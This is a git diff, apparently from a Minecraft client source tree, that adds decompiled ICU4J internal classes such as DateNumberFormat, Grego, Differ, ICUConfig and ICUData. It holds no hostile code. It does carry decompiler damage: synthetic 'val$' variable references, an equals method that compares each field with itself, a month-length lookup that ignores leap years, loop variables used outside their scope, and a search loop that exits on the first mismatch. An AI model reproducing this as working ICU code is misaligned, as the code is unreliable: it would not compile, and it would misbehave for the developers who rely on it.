+      iterator.setIndex(index);
+    } catch (IllegalArgumentException e) {
+      throw new IndexOutOfBoundsException();
+    }
+  }
+  
+
+
+  public void setToLimit()
+  {
+    iterator.setIndex(iterator.getEndIndex());
+  }
+  
+
+
+  public int getText(char[] fillIn, int offset)
+  {
+    int length = iterator.getEndIndex() - iterator.getBeginIndex();
+    int currentIndex = iterator.getIndex();
+    if ((offset < 0) || (offset + length > fillIn.length)) {
+      throw new IndexOutOfBoundsException(Integer.toString(length));
+    }
+    
+    for (char ch = iterator.first(); ch != 65535; ch = iterator.next()) {
+      fillIn[(offset++)] = ch;
+    }
+    iterator.setIndex(currentIndex);
+    
+    return length;
+  }
+  
+
+
+  public Object clone()
+  {
+    try
+    {
+      CharacterIteratorWrapper result = (CharacterIteratorWrapper)super.clone();
+      iterator = ((CharacterIterator)iterator.clone());
+      return result;
+    } catch (CloneNotSupportedException e) {}
+    return null;
+  }
+  
+
+  public int moveIndex(int delta)
+  {
+    int length = iterator.getEndIndex() - iterator.getBeginIndex();
+    int idx = iterator.getIndex() + delta;
+    
+    if (idx < 0) {
+      idx = 0;
+    } else if (idx > length) {
+      idx = length;
+    }
+    return iterator.setIndex(idx);
+  }
+  
+
+
+  public CharacterIterator getCharacterIterator()
+  {
+    return (CharacterIterator)iterator.clone();
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/CurrencyData.java b/src/minecraft/com/ibm/icu/impl/CurrencyData.java
new file mode 100644
index 0000000..7b36d0f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/CurrencyData.java
@@ -0,0 +1,152 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.ULocale;
+
+public class CurrencyData
+{
+  public static final CurrencyDisplayInfoProvider provider;
+  public CurrencyData() {}
+  
+  public static abstract interface CurrencyDisplayInfoProvider
+  {
+    public abstract CurrencyData.CurrencyDisplayInfo getInstance(ULocale paramULocale, boolean paramBoolean);
+    
+    public abstract boolean hasData();
+  }
+  
+  public static abstract class CurrencyDisplayInfo extends com.ibm.icu.text.CurrencyDisplayNames
+  {
+    public CurrencyDisplayInfo() {}
+    
+    public abstract java.util.Map<String, String> getUnitPatterns();
+    
+    public abstract CurrencyData.CurrencyFormatInfo getFormatInfo(String paramString);
+    
+    public abstract CurrencyData.CurrencySpacingInfo getSpacingInfo();
+  }
+  
+  public static final class CurrencyFormatInfo
+  {
+    public final String currencyPattern;
+    public final char monetarySeparator;
+    public final char monetaryGroupingSeparator;
+    
+    public CurrencyFormatInfo(String currencyPattern, char monetarySeparator, char monetaryGroupingSeparator)
+    {
+      this.currencyPattern = currencyPattern;
+      this.monetarySeparator = monetarySeparator;
+      this.monetaryGroupingSeparator = monetaryGroupingSeparator;
+    }
+  }
+  
+  public static final class CurrencySpacingInfo {
+    public final String beforeCurrencyMatch;
+    public final String beforeContextMatch;
+    public final String beforeInsert;
+    public final String afterCurrencyMatch;
+    public final String afterContextMatch;
+    public final String afterInsert;
+    private static final String DEFAULT_CUR_MATCH = "[:letter:]";
+    private static final String DEFAULT_CTX_MATCH = "[:digit:]";
+    private static final String DEFAULT_INSERT = " ";
+    
+    public CurrencySpacingInfo(String beforeCurrencyMatch, String beforeContextMatch, String beforeInsert, String afterCurrencyMatch, String afterContextMatch, String afterInsert) { this.beforeCurrencyMatch = beforeCurrencyMatch;
+      this.beforeContextMatch = beforeContextMatch;
+      this.beforeInsert = beforeInsert;
+      this.afterCurrencyMatch = afterCurrencyMatch;
+      this.afterContextMatch = afterContextMatch;
+      this.afterInsert = afterInsert;
+    }
+    
+
+
+
+
+
+    public static final CurrencySpacingInfo DEFAULT = new CurrencySpacingInfo("[:letter:]", "[:digit:]", " ", "[:letter:]", "[:digit:]", " ");
+  }
+  
+
+  static
+  {
+    CurrencyDisplayInfoProvider temp = null;
+    try {
+      Class<?> clzz = Class.forName("com.ibm.icu.impl.ICUCurrencyDisplayInfoProvider");
+      temp = (CurrencyDisplayInfoProvider)clzz.newInstance();
+    } catch (Throwable t) {
+      temp = new CurrencyDisplayInfoProvider() {
+        public CurrencyData.CurrencyDisplayInfo getInstance(ULocale locale, boolean withFallback) {
+          return CurrencyData.DefaultInfo.getWithFallback(withFallback);
+        }
+        
+        public boolean hasData() {
+          return false;
+        }
+      };
+    }
+    provider = temp;
+  }
+  
+  public static class DefaultInfo extends CurrencyData.CurrencyDisplayInfo {
+    private final boolean fallback;
+    
+    private DefaultInfo(boolean fallback) {
+      this.fallback = fallback;
+    }
+    
+    public static final CurrencyData.CurrencyDisplayInfo getWithFallback(boolean fallback) {
+      return fallback ? FALLBACK_INSTANCE : NO_FALLBACK_INSTANCE;
+    }
+    
+    public String getName(String isoCode)
+    {
+      return fallback ? isoCode : null;
+    }
+    
+    public String getPluralName(String isoCode, String pluralType)
+    {
+      return fallback ? isoCode : null;
+    }
+    
+    public String getSymbol(String isoCode)
+    {
+      return fallback ? isoCode : null;
+    }
+    
+    public java.util.Map<String, String> symbolMap()
+    {
+      return java.util.Collections.emptyMap();
+    }
+    
+    public java.util.Map<String, String> nameMap()
+    {
+      return java.util.Collections.emptyMap();
+    }
+    
+    public ULocale getULocale()
+    {
+      return ULocale.ROOT;
+    }
+    
+    public java.util.Map<String, String> getUnitPatterns()
+    {
+      if (fallback) {
+        return java.util.Collections.emptyMap();
+      }
+      return null;
+    }
+    
+    public CurrencyData.CurrencyFormatInfo getFormatInfo(String isoCode)
+    {
+      return null;
+    }
+    
+    public CurrencyData.CurrencySpacingInfo getSpacingInfo()
+    {
+      return fallback ? CurrencyData.CurrencySpacingInfo.DEFAULT : null;
+    }
+    
+    private static final CurrencyData.CurrencyDisplayInfo FALLBACK_INSTANCE = new DefaultInfo(true);
+    private static final CurrencyData.CurrencyDisplayInfo NO_FALLBACK_INSTANCE = new DefaultInfo(false);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/DateNumberFormat.java b/src/minecraft/com/ibm/icu/impl/DateNumberFormat.java
new file mode 100644
index 0000000..0914811
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/DateNumberFormat.java
@@ -0,0 +1,259 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.lang.UCharacter;
+import com.ibm.icu.text.NumberFormat;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.UResourceBundle;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.math.BigInteger;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Arrays;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DateNumberFormat
+  extends NumberFormat
+{
+  private static final long serialVersionUID = -6315692826916346953L;
+  private char[] digits;
+  private char zeroDigit;
+  private char minusSign;
+  private boolean positiveOnly = false;
+  
+  private transient char[] decimalBuf = new char[20];
+  
+  private static SimpleCache<ULocale, char[]> CACHE = new SimpleCache();
+  private int maxIntDigits;
+  private int minIntDigits;
+  private static final long PARSE_THRESHOLD = 922337203685477579L;
+  
+  public DateNumberFormat(ULocale loc, String digitString, String nsName) {
+    initialize(loc, digitString, nsName);
+  }
+  
+  public DateNumberFormat(ULocale loc, char zeroDigit, String nsName) {
+    StringBuffer buf = new StringBuffer();
+    for (int i = 0; i < 10; i++) {
+      buf.append((char)(zeroDigit + i));
+    }
+    initialize(loc, buf.toString(), nsName);
+  }
+  
+  private void initialize(ULocale loc, String digitString, String nsName) {
+    char[] elems = (char[])CACHE.get(loc);
+    if (elems == null)
+    {
+
+      ICUResourceBundle rb = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b", loc);
+      String minusString;
+      try { minusString = rb.getStringWithFallback("NumberElements/" + nsName + "/symbols/minusSign");
+      } catch (MissingResourceException ex) { String minusString;
+        if (!nsName.equals("latn")) {
+          try {
+            minusString = rb.getStringWithFallback("NumberElements/latn/symbols/minusSign");
+          } catch (MissingResourceException ex1) {
+            minusString = "-";
+          }
+        } else {
+          minusString = "-";
+        }
+      }
+      elems = new char[11];
+      for (int i = 0; i < 10; i++) {
+        elems[i] = digitString.charAt(i);
+      }
+      elems[10] = minusString.charAt(0);
+      CACHE.put(loc, elems);
+    }
+    
+    digits = new char[10];
+    System.arraycopy(elems, 0, digits, 0, 10);
+    zeroDigit = digits[0];
+    
+    minusSign = elems[10];
+  }
+  
+  public void setMaximumIntegerDigits(int newValue) {
+    maxIntDigits = newValue;
+  }
+  
+  public int getMaximumIntegerDigits() {
+    return maxIntDigits;
+  }
+  
+  public void setMinimumIntegerDigits(int newValue) {
+    minIntDigits = newValue;
+  }
+  
+  public int getMinimumIntegerDigits() {
+    return minIntDigits;
+  }
+  
+  public void setParsePositiveOnly(boolean isPositiveOnly)
+  {
+    positiveOnly = isPositiveOnly;
+  }
+  
+  public char getZeroDigit() {
+    return zeroDigit;
+  }
+  
+  public void setZeroDigit(char zero) {
+    zeroDigit = zero;
+    if (digits == null) {
+      digits = new char[10];
+    }
+    digits[0] = zero;
+    for (int i = 1; i < 10; i++) {
+      digits[i] = ((char)(zero + i));
+    }
+  }
+  
+  public char[] getDigits() {
+    return digits;
+  }
+  
+  public StringBuffer format(double number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    throw new UnsupportedOperationException("StringBuffer format(double, StringBuffer, FieldPostion) is not implemented");
+  }
+  
+
+  public StringBuffer format(long numberL, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    if (numberL < 0L)
+    {
+      toAppendTo.append(minusSign);
+      numberL = -numberL;
+    }
+    
+
+
+
+    int number = (int)numberL;
+    
+    int limit = decimalBuf.length < maxIntDigits ? decimalBuf.length : maxIntDigits;
+    int index = limit - 1;
+    for (;;) {
+      decimalBuf[index] = digits[(number % 10)];
+      number /= 10;
+      if ((index == 0) || (number == 0)) {
+        break;
+      }
+      index--;
+    }
+    for (int padding = minIntDigits - (limit - index); 
+        padding > 0; padding--) {
+      decimalBuf[(--index)] = digits[0];
+    }
+    int length = limit - index;
+    toAppendTo.append(decimalBuf, index, length);
+    pos.setBeginIndex(0);
+    if (pos.getField() == 0) {
+      pos.setEndIndex(length);
+    } else {
+      pos.setEndIndex(0);
+    }
+    return toAppendTo;
+  }
+  
+  public StringBuffer format(BigInteger number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    throw new UnsupportedOperationException("StringBuffer format(BigInteger, StringBuffer, FieldPostion) is not implemented");
+  }
+  
+  public StringBuffer format(java.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    throw new UnsupportedOperationException("StringBuffer format(BigDecimal, StringBuffer, FieldPostion) is not implemented");
+  }
+  
+  public StringBuffer format(com.ibm.icu.math.BigDecimal number, StringBuffer toAppendTo, FieldPosition pos)
+  {
+    throw new UnsupportedOperationException("StringBuffer format(BigDecimal, StringBuffer, FieldPostion) is not implemented");
+  }
+  
+
+
+
+
+  public Number parse(String text, ParsePosition parsePosition)
+  {
+    long num = 0L;
+    boolean sawNumber = false;
+    boolean negative = false;
+    int base = parsePosition.getIndex();
+    for (int offset = 0; 
+        base + offset < text.length(); offset++) {
+      char ch = text.charAt(base + offset);
+      if ((offset == 0) && (ch == minusSign)) {
+        if (positiveOnly) {
+          break;
+        }
+        negative = true;
+      } else {
+        int digit = ch - digits[0];
+        if ((digit < 0) || (9 < digit)) {
+          digit = UCharacter.digit(ch);
+        }
+        if ((digit < 0) || (9 < digit)) {
+          for (digit = 0; digit < 10; digit++) {
+            if (ch == digits[digit]) {
+              break;
+            }
+          }
+        }
+        if ((0 > digit) || (digit > 9) || (num >= 922337203685477579L)) break;
+        sawNumber = true;
+        num = num * 10L + digit;
+      }
+    }
+    
+
+
+    Number result = null;
+    if (sawNumber) {
+      num = negative ? num * -1L : num;
+      result = Long.valueOf(num);
+      parsePosition.setIndex(base + offset);
+    }
+    return result;
+  }
+  
+  public boolean equals(Object obj) {
+    if ((obj == null) || (!super.equals(obj)) || (!(obj instanceof DateNumberFormat))) {
+      return false;
+    }
+    DateNumberFormat other = (DateNumberFormat)obj;
+    return (maxIntDigits == maxIntDigits) && (minIntDigits == minIntDigits) && (minusSign == minusSign) && (positiveOnly == positiveOnly) && (Arrays.equals(digits, digits));
+  }
+  
+
+
+
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+  private void readObject(ObjectInputStream stream) throws IOException, ClassNotFoundException {
+    stream.defaultReadObject();
+    if (digits == null) {
+      setZeroDigit(zeroDigit);
+    }
+    
+    decimalBuf = new char[20];
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Differ.java b/src/minecraft/com/ibm/icu/impl/Differ.java
new file mode 100644
index 0000000..0677d7d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Differ.java
@@ -0,0 +1,171 @@
+package com.ibm.icu.impl;
+
+
+
+
+public final class Differ<T>
+{
+  private int STACKSIZE;
+  
+
+
+  private int EQUALSIZE;
+  
+
+
+  private T[] a;
+  
+
+
+  private T[] b;
+  
+
+
+  public Differ(int stackSize, int matchCount)
+  {
+    STACKSIZE = stackSize;
+    EQUALSIZE = matchCount;
+    a = ((Object[])new Object[stackSize + matchCount]);
+    b = ((Object[])new Object[stackSize + matchCount]);
+  }
+  
+  public void add(T aStr, T bStr) {
+    addA(aStr);
+    addB(bStr);
+  }
+  
+  public void addA(T aStr) {
+    flush();
+    a[(aCount++)] = aStr;
+  }
+  
+  public void addB(T bStr) {
+    flush();
+    b[(bCount++)] = bStr;
+  }
+  
+  public int getALine(int offset) {
+    return aLine + maxSame + offset;
+  }
+  
+  public T getA(int offset) {
+    if (offset < 0) return last;
+    if (offset > aTop - maxSame) return next;
+    return a[offset];
+  }
+  
+  public int getACount() {
+    return aTop - maxSame;
+  }
+  
+  public int getBCount() {
+    return bTop - maxSame;
+  }
+  
+  public int getBLine(int offset) {
+    return bLine + maxSame + offset;
+  }
+  
+  public T getB(int offset) {
+    if (offset < 0) return last;
+    if (offset > bTop - maxSame) return next;
+    return b[offset];
+  }
+  
+  public void checkMatch(boolean finalPass)
+  {
+    int max = aCount;
+    if (max > bCount) { max = bCount;
+    }
+    for (int i = 0; i < max; i++) {
+      if (!a[i].equals(b[i]))
+        break;
+    }
+    maxSame = i;
+    aTop = (this.bTop = maxSame);
+    if (maxSame > 0) last = a[(maxSame - 1)];
+    next = null;
+    
+    if (finalPass) {
+      aTop = aCount;
+      bTop = bCount;
+      next = null;
+      return;
+    }
+    
+    if ((aCount - maxSame < EQUALSIZE) || (bCount - maxSame < EQUALSIZE)) { return;
+    }
+    
+    int match = find(a, aCount - EQUALSIZE, aCount, b, maxSame, bCount);
+    if (match != -1) {
+      aTop = (aCount - EQUALSIZE);
+      bTop = match;
+      next = a[aTop];
+      return;
+    }
+    match = find(b, bCount - EQUALSIZE, bCount, a, maxSame, aCount);
+    if (match != -1) {
+      bTop = (bCount - EQUALSIZE);
+      aTop = match;
+      next = b[bTop];
+      return;
+    }
+    if ((aCount >= STACKSIZE) || (bCount >= STACKSIZE))
+    {
+      aCount = ((aCount + maxSame) / 2);
+      bCount = ((bCount + maxSame) / 2);
+      next = null;
+    }
+  }
+  
+
+
+
+
+  public int find(T[] aArr, int aStart, int aEnd, T[] bArr, int bStart, int bEnd)
+  {
+    int len = aEnd - aStart;
+    int bEndMinus = bEnd - len;
+    label65:
+    for (int i = bStart; i <= bEndMinus; i++) {
+      for (int j = 0; j < len; j++)
+        if (!bArr[(i + j)].equals(aArr[(aStart + j)]))
+          break label65;
+      return i;
+    }
+    return -1;
+  }
+  
+
+  private void flush()
+  {
+    if (aTop != 0) {
+      int newCount = aCount - aTop;
+      System.arraycopy(a, aTop, a, 0, newCount);
+      aCount = newCount;
+      aLine += aTop;
+      aTop = 0;
+    }
+    
+    if (bTop != 0) {
+      int newCount = bCount - bTop;
+      System.arraycopy(b, bTop, b, 0, newCount);
+      bCount = newCount;
+      bLine += bTop;
+      bTop = 0;
+    }
+  }
+  
+
+
+
+
+
+  private T last = null;
+  private T next = null;
+  private int aCount = 0;
+  private int bCount = 0;
+  private int aLine = 1;
+  private int bLine = 1;
+  private int maxSame = 0; private int aTop = 0; private int bTop = 0;
+}
diff --git a/src/minecraft/com/ibm/icu/impl/Grego.java b/src/minecraft/com/ibm/icu/impl/Grego.java
new file mode 100644
index 0000000..09f7b39
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/Grego.java
@@ -0,0 +1,213 @@
+package com.ibm.icu.impl;
+
+
+
+
+
+public class Grego
+{
+  public static final long MIN_MILLIS = -184303902528000000L;
+  
+
+
+
+  public static final long MAX_MILLIS = 183882168921600000L;
+  
+
+
+
+  public static final int MILLIS_PER_SECOND = 1000;
+  
+
+
+
+  public static final int MILLIS_PER_MINUTE = 60000;
+  
+
+
+
+  public static final int MILLIS_PER_HOUR = 3600000;
+  
+
+
+  public static final int MILLIS_PER_DAY = 86400000;
+  
+
+
+  private static final int JULIAN_1_CE = 1721426;
+  
+
+
+  private static final int JULIAN_1970_CE = 2440588;
+  
+
+
+  private static final int[] MONTH_LENGTH = { 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31, 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
+  
+
+
+
+  private static final int[] DAYS_BEFORE = { 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335 };
+  
+
+
+
+  public Grego() {}
+  
+
+
+  public static final boolean isLeapYear(int year)
+  {
+    return ((year & 0x3) == 0) && ((year % 100 != 0) || (year % 400 == 0));
+  }
+  
+
+
+
+
+
+  public static final int monthLength(int year, int month)
+  {
+    return MONTH_LENGTH[(month + 0)];
+  }
+  
+
+
+
+
+
+  public static final int previousMonthLength(int year, int month)
+  {
+    return month > 0 ? monthLength(year, month - 1) : 31;
+  }
+  
+
+
+
+
+
+
+
+  public static long fieldsToDay(int year, int month, int dom)
+  {
+    int y = year - 1;
+    long julian = 365 * y + floorDivide(y, 4L) + 1721423L + floorDivide(y, 400L) - floorDivide(y, 100L) + 2L + DAYS_BEFORE[(month + 0)] + dom;
+    
+
+
+    return julian - 2440588L;
+  }
+  
+
+
+
+
+  public static int dayOfWeek(long day)
+  {
+    long[] remainder = new long[1];
+    floorDivide(day + 5L, 7L, remainder);
+    int dayOfWeek = (int)remainder[0];
+    dayOfWeek = dayOfWeek == 0 ? 7 : dayOfWeek;
+    return dayOfWeek;
+  }
+  
+  public static int[] dayToFields(long day, int[] fields) {
+    if ((fields == null) || (fields.length < 5)) {
+      fields = new int[5];
+    }
+    
+    day += 719162L;
+    
+    long[] rem = new long[1];
+    long n400 = floorDivide(day, 146097L, rem);
+    long n100 = floorDivide(rem[0], 36524L, rem);
+    long n4 = floorDivide(rem[0], 1461L, rem);
+    long n1 = floorDivide(rem[0], 365L, rem);
+    
+    int year = (int)(400L * n400 + 100L * n100 + 4L * n4 + n1);
+    int dayOfYear = (int)rem[0];
+    if ((n100 == 4L) || (n1 == 4L)) {
+      dayOfYear = 365;
+    }
+    else {
+      year++;
+    }
+    
+    boolean isLeap = isLeapYear(year);
+    int correction = 0;
+    int march1 = isLeap ? 60 : 59;
+    if (dayOfYear >= march1) {
+      correction = isLeap ? 1 : 2;
+    }
+    int month = (12 * (dayOfYear + correction) + 6) / 367;
+    int dayOfMonth = dayOfYear - DAYS_BEFORE[month] + 1;
+    int dayOfWeek = (int)((day + 2L) % 7L);
+    if (dayOfWeek < 1) {
+      dayOfWeek += 7;
+    }
+    dayOfYear++;
+    
+    fields[0] = year;
+    fields[1] = month;
+    fields[2] = dayOfMonth;
+    fields[3] = dayOfWeek;
+    fields[4] = dayOfYear;
+    
+    return fields;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static int[] timeToFields(long time, int[] fields)
+  {
+    if ((fields == null) || (fields.length < 6)) {
+      fields = new int[6];
+    }
+    long[] remainder = new long[1];
+    long day = floorDivide(time, 86400000L, remainder);
+    dayToFields(day, fields);
+    fields[5] = ((int)remainder[0]);
+    return fields;
+  }
+  
+
+  public static long floorDivide(long numerator, long denominator)
+  {
+    return numerator >= 0L ? numerator / denominator : (numerator + 1L) / denominator - 1L;
+  }
+  
+
+  private static long floorDivide(long numerator, long denominator, long[] remainder)
+  {
+    if (numerator >= 0L) {
+      remainder[0] = (numerator % denominator);
+      return numerator / denominator;
+    }
+    long quotient = (numerator + 1L) / denominator - 1L;
+    remainder[0] = (numerator - quotient * denominator);
+    return quotient;
+  }
+  
+
+
+
+  public static int getDayOfWeekInMonth(int year, int month, int dayOfMonth)
+  {
+    int weekInMonth = (dayOfMonth + 6) / 7;
+    if (weekInMonth == 4) {
+      if (dayOfMonth + 7 > monthLength(year, month)) {
+        weekInMonth = -1;
+      }
+    } else if (weekInMonth == 5) {
+      weekInMonth = -1;
+    }
+    return weekInMonth;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUBinary.java b/src/minecraft/com/ibm/icu/impl/ICUBinary.java
new file mode 100644
index 0000000..8b46677
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUBinary.java
@@ -0,0 +1,152 @@
+package com.ibm.icu.impl;
+
+import com.ibm.icu.util.VersionInfo;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ICUBinary
+{
+  private static final byte MAGIC1 = -38;
+  private static final byte MAGIC2 = 39;
+  private static final byte BIG_ENDIAN_ = 1;
+  private static final byte CHAR_SET_ = 0;
+  private static final byte CHAR_SIZE_ = 2;
+  private static final String MAGIC_NUMBER_AUTHENTICATION_FAILED_ = "ICU data file error: Not an ICU data file";
+  private static final String HEADER_AUTHENTICATION_FAILED_ = "ICU data file error: Header authentication failed, please check if you have a valid ICU data file";
+  
+  public ICUBinary() {}
+  
+  public static final byte[] readHeader(InputStream inputStream, byte[] dataFormatIDExpected, Authenticate authenticate)
+    throws IOException
+  {
+    DataInputStream input = new DataInputStream(inputStream);
+    char headersize = input.readChar();
+    int readcount = 2;
+    
+    byte magic1 = input.readByte();
+    readcount++;
+    byte magic2 = input.readByte();
+    readcount++;
+    if ((magic1 != -38) || (magic2 != 39)) {
+      throw new IOException("ICU data file error: Not an ICU data file");
+    }
+    
+    input.readChar();
+    readcount += 2;
+    input.readChar();
+    readcount += 2;
+    byte bigendian = input.readByte();
+    readcount++;
+    byte charset = input.readByte();
+    readcount++;
+    byte charsize = input.readByte();
+    readcount++;
+    input.readByte();
+    readcount++;
+    
+    byte[] dataFormatID = new byte[4];
+    input.readFully(dataFormatID);
+    readcount += 4;
+    byte[] dataVersion = new byte[4];
+    input.readFully(dataVersion);
+    readcount += 4;
+    byte[] unicodeVersion = new byte[4];
+    input.readFully(unicodeVersion);
+    readcount += 4;
+    if (headersize < readcount) {
+      throw new IOException("Internal Error: Header size error");
+    }
+    input.skipBytes(headersize - readcount);
+    
+    if ((bigendian != 1) || (charset != 0) || (charsize != 2) || (!Arrays.equals(dataFormatIDExpected, dataFormatID)) || ((authenticate != null) && (!authenticate.isDataVersionAcceptable(dataVersion))))
+    {
+
+
+
+      throw new IOException("ICU data file error: Header authentication failed, please check if you have a valid ICU data file");
+    }
+    return unicodeVersion;
+  }
+  
+
+
+
+
+  public static final VersionInfo readHeaderAndDataVersion(InputStream inputStream, byte[] dataFormatIDExpected, Authenticate authenticate)
+    throws IOException
+  {
+    byte[] dataVersion = readHeader(inputStream, dataFormatIDExpected, authenticate);
+    return VersionInfo.getInstance(dataVersion[0], dataVersion[1], dataVersion[2], dataVersion[3]);
+  }
+  
+  public static abstract interface Authenticate
+  {
+    public abstract boolean isDataVersionAcceptable(byte[] paramArrayOfByte);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUBinaryStream.java b/src/minecraft/com/ibm/icu/impl/ICUBinaryStream.java
new file mode 100644
index 0000000..f9770f6
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUBinaryStream.java
@@ -0,0 +1,60 @@
+package com.ibm.icu.impl;
+
+import java.io.ByteArrayInputStream;
+import java.io.DataInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class ICUBinaryStream
+  extends DataInputStream
+{
+  public ICUBinaryStream(InputStream stream, int size)
+  {
+    super(stream);
+    mark(size);
+  }
+  
+
+
+  public ICUBinaryStream(byte[] raw)
+  {
+    this(new ByteArrayInputStream(raw), raw.length);
+  }
+  
+
+
+
+  public void seek(int offset)
+    throws IOException
+  {
+    reset();
+    int actual = skipBytes(offset);
+    if (actual != offset) {
+      throw new IllegalStateException("Skip(" + offset + ") only skipped " + actual + " bytes");
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUCache.java b/src/minecraft/com/ibm/icu/impl/ICUCache.java
new file mode 100644
index 0000000..f7e46e9
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUCache.java
@@ -0,0 +1,23 @@
+package com.ibm.icu.impl;
+
+
+
+
+public abstract interface ICUCache<K, V>
+{
+  public static final int SOFT = 0;
+  
+
+
+  public static final int WEAK = 1;
+  
+
+
+  public static final Object NULL = new Object();
+  
+  public abstract void clear();
+  
+  public abstract void put(K paramK, V paramV);
+  
+  public abstract V get(Object paramObject);
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUConfig.java b/src/minecraft/com/ibm/icu/impl/ICUConfig.java
new file mode 100644
index 0000000..76ba87a
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUConfig.java
@@ -0,0 +1,79 @@
+package com.ibm.icu.impl;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.security.AccessControlException;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.MissingResourceException;
+import java.util.Properties;
+
+
+
+
+
+
+
+
+
+
+
+
+public class ICUConfig
+{
+  public static final String CONFIG_PROPS_FILE = "/com/ibm/icu/ICUConfig.properties";
+  private static final Properties CONFIG_PROPS = new Properties();
+  
+  static { try { InputStream is = ICUData.getStream("/com/ibm/icu/ICUConfig.properties");
+      if (is != null) {
+        CONFIG_PROPS.load(is);
+      }
+    }
+    catch (MissingResourceException mre) {}catch (IOException ioe) {}
+  }
+  
+
+
+
+
+
+
+
+  public static String get(String name)
+  {
+    return get(name, null);
+  }
+  
+
+
+
+
+
+
+  public static String get(String name, String def)
+  {
+    String val = null;
+    String fname = name;
+    if (System.getSecurityManager() != null) {
+      try {
+        val = (String)AccessController.doPrivileged(new PrivilegedAction() {
+          public String run() {
+            return System.getProperty(val$fname);
+          }
+          
+
+        });
+      }
+      catch (AccessControlException e) {}
+    } else {
+      val = System.getProperty(name);
+    }
+    
+    if (val == null) {
+      val = CONFIG_PROPS.getProperty(name, def);
+    }
+    return val;
+  }
+  
+  public ICUConfig() {}
+}
diff --git a/src/minecraft/com/ibm/icu/impl/ICUData.java b/src/minecraft/com/ibm/icu/impl/ICUData.java
new file mode 100644
index 0000000..312d3e0
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/ICUData.java
@@ -0,0 +1,113 @@
+package com.ibm.icu.impl;
+
+import java.io.InputStream;
+import java.net.URL;
+import java.security.AccessController;
+import java.security.PrivilegedAction;
+import java.util.MissingResourceException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ICUData
+{
+  public ICUData() {}
+  
+  public static boolean exists(String resourceName)
+  {
+    URL i = null;
+    if (System.getSecurityManager() != null) {
+      i = (URL)AccessController.doPrivileged(new PrivilegedAction() {
+        public URL run() {
+          return ICUData.class.getResource(val$resourceName);
+        }
+      });
+    } else {
+      i = ICUData.class.getResource(resourceName);
+    }
+    return i != null;
+  }
+  
+  private static InputStream getStream(Class<?> root, final String resourceName, boolean required) {
+    InputStream i = null;
+    
+    if (System.getSecurityManager() != null) {
+      i = (InputStream)AccessController.doPrivileged(new PrivilegedAction() {
+        public InputStream run() {
+          return val$root.getResourceAsStream(resourceName);
+        }
+      });
+    } else {
+      i = root.getResourceAsStream(resourceName);
+    }
+    
+    if ((i == null) && (required)) {
+      throw new MissingResourceException("could not locate data " + resourceName, root.getPackage().getName(), resourceName);
+    }
+    return i;
+  }
+  
+  private static InputStream getStream(ClassLoader loader, final String resourceName, boolean required) {
+    InputStream i = null;
+    if (System.getSecurityManager() != null) {
+      i = (InputStream)AccessController.doPrivileged(new PrivilegedAction() {
+        public InputStream run() {
+          return val$loader.getResourceAsStream(resourceName);
+        }
+      });
+    } else {
+      i = loader.getResourceAsStream(resourceName);
+    }
+    if ((i == null) && (required)) {
+      throw new MissingResourceException("could not locate data", loader.toString(), resourceName);
+    }
+    return i;
+  }
+  
+  public static InputStream getStream(ClassLoader loader, String resourceName) {
+    return getStream(loader, resourceName, false);
+  }
+  
+  public static InputStream getRequiredStream(ClassLoader loader, String resourceName) {
+    return getStream(loader, resourceName, true);
+  }
+  
+
+
+  public static InputStream getStream(String resourceName)
+  {
+    return getStream(ICUData.class, resourceName, false);
+  }
+  
+
+
+  public static InputStream getRequiredStream(String resourceName)
+  {
+    return getStream(ICUData.class, resourceName, true);
+  }
+  
+
+
+  public static InputStream getStream(Class<?> root, String resourceName)
+  {
+    return getStream(root, resourceName, false);
+  }
+  
+
+
+  public static InputStream getRequiredStream(Class<?> root, String resourceName)
+  {
+    return getStream(root, resourceName, true);
+  }
+}
